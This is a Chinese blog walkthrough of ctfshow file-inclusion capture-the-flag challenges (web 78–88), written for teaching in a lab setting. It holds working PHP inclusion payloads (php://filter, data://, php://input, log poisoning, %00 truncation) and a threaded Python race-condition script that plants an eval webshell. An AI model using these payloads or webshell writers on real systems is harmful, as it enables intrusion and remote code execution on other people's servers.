ctfshow入门文件包含部分

ctfshow web入门 文件包含部分

web 78

1
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

web 79

1
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web 80-81

试了试文件日志包含漏洞

先抓包,发现是nginx,一般的日志路径为 /var/log/nginx/access.log

访问发现成功

进行getshell 先ls (可能需要多go几次)

sClU7n.png

得到flag

sClscF.png

web82-86

这题是利用 session.upload_progress 包含文件漏洞

session.upload_progress在php5.4添加的。

在php.ini有以下几个默认选项

1
2
3
4
5
6
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
  1. enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

  2. cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

  3. name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

    sCl27R.png

  4. prefix+name将表示为session中的键名

另外,再添加个session配置中一个重要选项。

session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。

分析

如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,

此时我们可以利用竞争,在session文件内容清空前进行包含利用。

session文件默认存储路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

进入正题

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-16 11:25:09
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-16 19:34:45
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com

*/



if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}


以POST的形式发包,上传的文件随意,下面是构造的上传表单

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://79b5dbc7-b641-4e30-b8d9-4278f2234938.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,session文件的位置我们根据上文的常见的几个测试,在/tmp/sess_PHPSESSID下成功访问且不报错,说明在/tmp/sess_PHPSESSID目录下, 所以PHP将会在服务器上创建一个文件:/tmp/sess_flag” 然后我们在PHP_SESSION_UPLOAD_PROGRESS下添加我们的执行代码,修改如下

sClocD.png

因为我们在上面这个页面添加的ID值是flag,所以传参?file=/tmp/sess_flag,抓包

修改如下:这个a是随便加的,主要是为了方便爆破

sClj4P.png

两个包payload设置如下

sC1SgS.png

条件竞争,将POST的包和传file的包都开启爆破,即可得到目录

sC1PBj.png

同理也能得到flag

sC1ZCV.png

也可以使用python脚本

也直接用前面文章里的脚本:

附上大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)


with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

改下url和要执行的shell即可

参考文章:

https://www.freebuf.com/vuls/202819.html

https://blog.csdn.net/qq_44657899/article/details/109281343

https://www.cnblogs.com/NPFS/p/13795170.html

web83

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_unset();
session_destroy();

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);
}

warning提示了 ,所以表单构造需要重新构造,多了 session_start();

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>
<form action="http://668ba926-9165-49e7-92fb-c94a08d54feb.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

web82-86用py脚本都能跑过

web84

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

web85

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

web86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

web87

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

分析源码,这题有两个传参,file和 content,然后将content参数的值写入到file参数所定义的文件里,但是一同写入的还有,在开头增加了die的过程,导致即使我们成功写入一句话,也执行不了,我们所要做的就是绕过die

这里放上p神的 谈一谈php://filter的妙用

p神文章已经讲得很清楚了,base64算法解码时是4个byte一组, 而phpdie共6个字符,所以我们解码的时候需要再添加两个字符

payload:

1
2
3
file=php://filter/write=convert.base64-decode/resource=1.php(file的内容需要进行两次url编码)

content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

写入一句话后,然后访问 1.php,就可以执行shell了

sC1NvD.png

web88

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

data协议绕过

1
2
3
payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

即 ?file=data://text/plain;base64,

其他包含小姿势

审计中可见这样的包含模版文件:

1
<?php include("inc/" . $_GET['file'] . ".htm"); ?> 
  1. %00截断
    /etc/passwd%00
    (需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
  2. %00截断目录遍历:
    /var/www/%00
    (需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)
  3. 路径长度截断:
    /etc/passwd/././././././.[…]/./././././.
    (php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
  4. 点号截断:
    /boot.ini/………[…]…………
    (php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

php://input

php://input协议主要用于访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),需要开启allow_url_include,并且当enctype="multipart/form-data"的时候 php://input是无效的。

利用方式:?file=php://input 数据利用POST传过去

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。

假设页面源代码为:

1
2
3
4
5
6
<?php
$file = $_GET['file'];
if (@file_get_content($file) == 'meizijiu') {
echo $flag;
}
?>

直接使用Hackbar工具POST数据:

sC1DUI.png

另外还可以写入一句话

1
2
3
4
5
http://www.inc.com/inc.php?file=php://input
post数据:
<?php
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>

参考:https://ca0y1h.top/Web_security/basic_learning/13.%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/

https://www.cnblogs.com/NPFS/p/13797449.html

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~